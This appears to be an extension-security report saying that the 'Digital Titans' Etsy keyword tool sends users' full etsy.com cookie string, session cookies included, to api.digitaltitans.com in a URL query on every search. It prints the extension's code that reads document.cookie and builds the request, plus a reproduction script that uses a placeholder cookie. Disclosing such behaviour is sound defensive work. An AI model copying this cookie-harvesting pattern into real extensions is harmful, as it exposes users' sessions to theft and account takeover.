Is Digital Titans: Easy Keyword Research safe?
Digital Titans sends your Etsy session cookies to its own server every time you search a keyword.
When you type a keyword search on Etsy, the extension reads your full etsy.com cookie string, including your session and login cookies, and sends it to its own backend at api.digitaltitans.com. This happens automatically on every search of three or more characters. The cookies are sent as part of the request URL, so they can also end up recorded in the vendor's server access logs.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Etsy keyword tool sends your Etsy cookies to a third-party API
Code analysis shows the extension reads document.cookie on etsy.com and sends the full cookie string, including session cookies, to api.digitaltitans.com as a URL query parameter whenever you use its keyword search box.
You type a search keyword into the extension's Etsy keyword-research panel on an etsy.com page.
The extension reads your full etsy.com cookie string and sends it to api.digitaltitans.com as part of the search request.
The cookie value travels as a plain URL query parameter, not inside an encrypted body.
| Field | Value | Why it matters | |
|---|---|---|---|
Search keyword | handmade necklace | The term you typed into the keyword-research box. | |
Page host | www.etsy.com | The etsy.com page you were viewing when you searched. | |
Browser language | en-US | Your browser's language setting. | |
Etsy cookies | _etsy_sid=1a2b3c4d5e6f7g8h9i; uaid=9f8e7d6c5b4a3d2e; ua=ab12cd34ef56 | Your full etsy.com cookie string, session cookies included, sent as a plain URL parameter. |
handleSearch() builds the cookie payload and hands it to the request builder
async function P() {
if (!n || n === "" || n.length < 3 || n.length > 100 || f || !x) return;
p(!0);
const S = {
keyword: n,
hostname: IH(window.location.href),
language: window.navigator.language,
cookies: document.cookie
};
const F = lK(x, S),
k = await P4("handleApiRequests", F);
if (k.data.token !== "") {
let B = k.data.token;
if (!B) { p(!1); o(""); v("Error: Unable to get token"); return }
N(B)
}
}const W_ = "https://api.digitaltitans.com";
lK = (e, t) => {
const r = new URL(`${W_}/api/etsy/keywords`);
return Object.keys(t).forEach(n => r.searchParams.append(n, t[n])), {
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${e}`
},
url: r.toString(),
method: "GET"
}
}async function sc({ payload: e }) {
const { method: t, url: r, headers: n, body: s } = e;
try {
const i = {
method: t,
headers: n,
...s ? { body: JSON.stringify(s) } : {}
};
const o = await nc(r, i, 12e4);
if (!o.ok) throw new Error(`HTTP error! status: ${o.status}`);
try { return await o.json() }
catch { return await o.text() }
} catch (i) {
throw console.error("API Request failed:", i), i
}
}
// nc() is a fetch() wrapper with a 120s timeout; the background service
// worker performs the actual network request here.- api.digitaltitans.com
Vendor's own keyword-research backend. Receives the GET request with your etsy.com cookies in the query string and an Authorization bearer token.
Rebuilds the request the extension's content script constructs from a page URL, keyword, and cookie string, so you can see your own cookie value take shape in a URL without installing the extension.
// etsy-titans-reproduce.js
// Rebuilds the request the way content-scripts/etsysearch.js does, so you
// can see exactly how your etsy.com cookie string becomes a GET query
// parameter without installing the extension.
const API_BASE = "https://api.digitaltitans.com";
function buildRequest(keyword, pageUrl, cookieString, language) {
const hostname = new URL(pageUrl).hostname.replace(/^www\./, "");
const payload = { keyword, hostname, language, cookies: cookieString };
const url = new URL(`${API_BASE}/api/etsy/keywords`);
for (const [key, value] of Object.entries(payload)) {
url.searchParams.append(key, value);
}
return { method: "GET", url: url.toString() };
}
// Paste your own document.cookie value from an etsy.com tab to see your
// own request take shape (illustrative value shown here).
const sampleCookie =
"_etsy_sid=1a2b3c4d5e6f7g8h9i; uaid=9f8e7d6c5b4a3d2e; ua=ab12cd34ef56";
const request = buildRequest(
"handmade necklace",
"https://www.etsy.com/",
sampleCookie,
"en-US"
);
console.log(JSON.stringify(request, null, 2));
- 1node etsy-titans-reproduce.js
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.